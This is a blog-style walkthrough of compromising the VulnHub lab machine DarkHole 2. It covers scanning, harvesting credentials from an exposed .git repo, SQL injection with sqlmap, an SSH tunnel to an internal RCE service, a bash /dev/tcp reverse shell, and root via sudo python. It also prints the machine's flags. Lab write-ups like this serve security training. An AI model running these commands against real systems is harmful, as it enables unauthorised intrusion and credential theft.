Complete penetration testing walkthrough of VulnHub machine
"Where the heck is this thing?"
Nmap reveals the usual suspects (and some unusual ones)
"Wait, did they really just...?" - Exposed .git with credentials
"This is why we can't have nice things" - Database dump
"Oh, it gets worse" - Using leaked credentials
"Well, that was embarrassingly easy" - Root via sudo
Alright, buckle up folks! This is the story of how I completely owned a VulnHub machine called DarkHole 2. Spoiler alert: it involves the most hilariously bad Git practices I've ever seen, some SQL injection that made me question humanity, and a privilege escalation so easy it felt like cheating.
So I've got this DarkHole 2 machine running on VMware Player, and my trusty Kali Linux box ready to cause some chaos. Both are sitting pretty on a NAT network, probably plotting against each other. Little does DarkHole know what's coming...
Target Setup
DarkHole 2 machine is up and running, ready to be owned
Target Setup

DarkHole 2 machine is up and running, ready to be owned
Attack Setup
Kali Linux ready for action - let the chaos begin!
Attack Setup

Kali Linux ready for action - let the chaos begin!
Okay, so both machines are chilling on the same NAT network, but I have no clue where DarkHole is hiding. Time to play detective! First, let me figure out where I am in this digital neighborhood.
Time to knock on every door in the subnet:
sudo netdiscover -i eth0 -r 192.168.253.129/24Boom! Four IP addresses show up. Now, .1 and .2 are probably boring network stuff, and .254 is likely the gateway doing gateway things. That leaves 192.168.253.133 looking mighty suspicious. Let me poke it with Firefox and... Bingo! DarkHole 2 just waved hello. This is going to be fun.
IP Discovery
Kali machine's IP: 192.168.253.129
IP Discovery

Kali machine's IP: 192.168.253.129
Network Scan
Target identified: 192.168.253.133
Network Scan

Target identified: 192.168.253.133
Target Verification
Target confirmed - DarkHole 2 is online!
Target Verification

Target confirmed - DarkHole 2 is online!
With the target IP confirmed, I'll perform comprehensive port scanning using nmap with vulnerability detection:
Nmap command:
sudo nmap -sSCV -O -A -n --script vuln -Pn 192.168.253.133-sS: TCP SYN scan (half-open scan) - fastest method-sC: Run default NSE scripts for service detection-sV: Version detection - identifies specific versions-O: Operating System detection using TCP/IP fingerprinting--script vuln: Run vulnerability detection scripts-Pn: Skip host discovery, assume target is upKey Findings: Web server with exposed Git repository and login page available for further analysis.
Port Scan Results
Nmap reveals web server and exposed Git repository
Port Scan Results

Nmap reveals web server and exposed Git repository
Login Discovery
Login page discovered - time to find some credentials!
Login Discovery

Login page discovered - time to find some credentials!
Using gobuster to enumerate directories and files on the web server:
gobuster dir -u http://192.168.253.133 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .txt,.php,.bak,.env,.html,.git,.zipThe .git directory is exposed, allowing access to the source code repository.
wget -r 192.168.253.133/.gitDirectory Enumeration
Gobuster reveals the exposed .git directory - disaster incoming!
Directory Enumeration

Gobuster reveals the exposed .git directory - disaster incoming!
Repo Download
Repository successfully downloaded - time to dig for secrets
Repo Download

Repository successfully downloaded - time to dig for secrets
Examining the git commit history reveals critical information. The commit messages show extremely poor security practices:
git diff a4d900Git History Horror
HOLY COMMIT MESSAGES, BATMAN! A masterclass in 'How NOT to Use Git'
Git History Horror

HOLY COMMIT MESSAGES, BATMAN! A masterclass in 'How NOT to Use Git'
Credential Discovery
Credentials casually hanging out in the commit diff
Credential Discovery

Credentials casually hanging out in the commit diff
Login Success
And it works! *Chef's kiss* Beautiful. Absolutely beautiful.
Login Success

And it works! *Chef's kiss* Beautiful. Absolutely beautiful.
Email: lush@admin.com
Password: 321
Seriously? "321"? My grandmother's pet goldfish could have come up with a more secure password! 🐠
After successful login, the URL contains a parameter id=1, suggesting potential SQL injection vulnerability.
sqlmap -r darkhole_request_sqlmap --dump-allThe sqlmap scan reveals SSH credentials stored in the database, providing system access.
SSH Credentials Found
Sqlmap reveals SSH table info - credentials just handed to us on a silver platter!
SSH Credentials Found

Sqlmap reveals SSH table info - credentials just handed to us on a silver platter!
With these shiny new SSH credentials in hand, it's time to knock on the SSH door and see if anyone's home:
SSH Access
SSH login successful - we're in the system!
SSH Access

SSH login successful - we're in the system!
Time to bring in the big guns for enumeration. LinPEAS (Linux Privilege Escalation Awesome Script) is like having a bloodhound for security misconfigurations. Let's get this party started:
HTTP Server
Fire up a quick Python server (because sharing is caring)
HTTP Server

Fire up a quick Python server (because sharing is caring)
LinPEAS Download
LinPEAS downloaded - now we wait for the magic
LinPEAS Download

LinPEAS downloaded - now we wait for the magic
LinPEAS runs its beautiful chaos and guess what? It finds ANOTHER security disaster! There's an internal PHP web service running on localhost port 9999 under user losy. And get this - it has Remote Code Execution capabilities. Because apparently, one gaping security hole wasn't enough:
LinPEAS Results
LinPEAS finds ANOTHER security disaster - internal RCE service!
LinPEAS Results

LinPEAS finds ANOTHER security disaster - internal RCE service!
Running LinPEAS reveals a critical finding - an internal PHP web service running on localhost port 9999 under user losy with Remote Code Execution capability.
RCE Discovery
RCE service found - this is going to be fun!
RCE Discovery

RCE service found - this is going to be fun!
ssh jehad@192.168.253.133 -L 10000:localhost:9999Port Forward
Port forwarding setup - building a bridge to nowhere (but everywhere)
Port Forward

Port forwarding setup - building a bridge to nowhere (but everywhere)
Tunnel Verification
Nmap confirms our tunnel is working
Tunnel Verification

Nmap confirms our tunnel is working
RCE Access
Accessing the RCE interface through our tunnel
RCE Access

Accessing the RCE interface through our tunnel
RCE Testing
Testing RCE with curl - it works!
RCE Testing

Testing RCE with curl - it works!
The internal service has a cmd parameter allowing RCE. I create a reverse shell payload:
bash -c 'bash -i >& /dev/tcp/192.168.253.129/10001 0>&1'Payload Encoding
Using Burp Suite to encode our reverse shell payload
Payload Encoding

Using Burp Suite to encode our reverse shell payload
Netcat Listener
Starting netcat listener - ready to catch that shell!
Netcat Listener

Starting netcat listener - ready to catch that shell!
Shell Success
BOOM! Reverse shell successful - we've got shell as losy!
Shell Success

BOOM! Reverse shell successful - we've got shell as losy!
After URL encoding the payload and executing it through the RCE vulnerability, I successfully obtain a shell as the losy user.
As part of standard enumeration, I check the bash history file which often contains valuable data including accidentally typed passwords. The .bash_history reveals the password for the losy user.
Password Discovery
Password found in bash history - because of course it is!
Password Discovery

Password found in bash history - because of course it is!
Using GTFOBins as reference, Python can be exploited for privilege escalation:
sudo python -c 'import os; os.system("/bin/sh")'User Flag
First trophy - User flag in home directory
User Flag

First trophy - User flag in home directory
Root Flag
Victory! Root flag captured
Root Flag

Victory! Root flag captured
User Flag: DarkHoleThis_is_the_life_man_better_than_a_cruise
Root Flag: DarkHoleLegend
And there it is! Both flags captured, machine completely owned. This was like taking candy from a baby, if the baby was a poorly configured Linux server with more security holes than Swiss cheese. 🧀
Well, that was... something! This walkthrough just demonstrated how NOT to secure a machine, but hey, it made for an entertaining penetration test. This machine was like a perfect storm of security fails - every single phase revealed another layer of "nope, that's not how you do it."
.git directories to the internet (seriously, just don't)321 is not a password, it's a cry for helpAt least this machine taught us every possible way to mess up security! It's like a comprehensive guide on "How to Build the Most Insecure System Possible" - educational in all the wrong ways.
Thanks for joining me on this journey through digital chaos. Remember kids: security is not optional, and neither is common sense! 🎯
This writeup is for educational purposes only. All techniques demonstrated should only be used on systems you own or have explicit permission to test.